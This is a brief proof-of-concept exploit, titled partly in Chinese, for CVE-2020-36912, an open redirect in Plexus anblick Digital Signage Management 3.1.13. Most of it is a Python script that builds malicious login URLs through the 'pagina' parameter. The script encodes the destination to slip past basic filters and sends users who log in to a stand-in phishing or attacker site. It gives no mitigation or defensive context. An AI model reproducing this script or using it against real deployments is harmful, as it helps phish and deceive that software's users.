CVE-2020-36912 Plexus anblick数字标牌管理系统开放重定向漏洞

## CVE-2020-36912 Open Redirect PoC ## Target: Plexus anblick Digital Signage Management 3.1.13 ## Vulnerability: Open redirect via 'pagina' GET parameter in PantallaLogin import urllib.parse def generate_malicious_url(target_url, redirect_target): """ Generate malicious URL for open redirect exploitation Args: target_url: Base URL of vulnerable application redirect_target: Malicious site to redirect victims to Returns: Malicious URL string """ # Encode the redirect target to bypass basic filters encoded_target = urllib.parse.quote(redirect_target, safe='') # Construct the exploit URL with the vulnerable 'pagina' parameter malicious_url = f"{target_url}/PantallaLogin?pagina={encoded_target}" return malicious_url # Example usage exploit_url = generate_malicious_url( target_url="https://vulnerable-server.com", redirect_target="https://phishing-site.com" ) print(f"Malicious URL: {exploit_url}") print(f"When victim visits this URL and logs in, they will be redirected to phishing-site.com") # Alternative direct PoC (unencoded) # https://vulnerable-server.com/PantallaLogin?pagina=https://attacker.com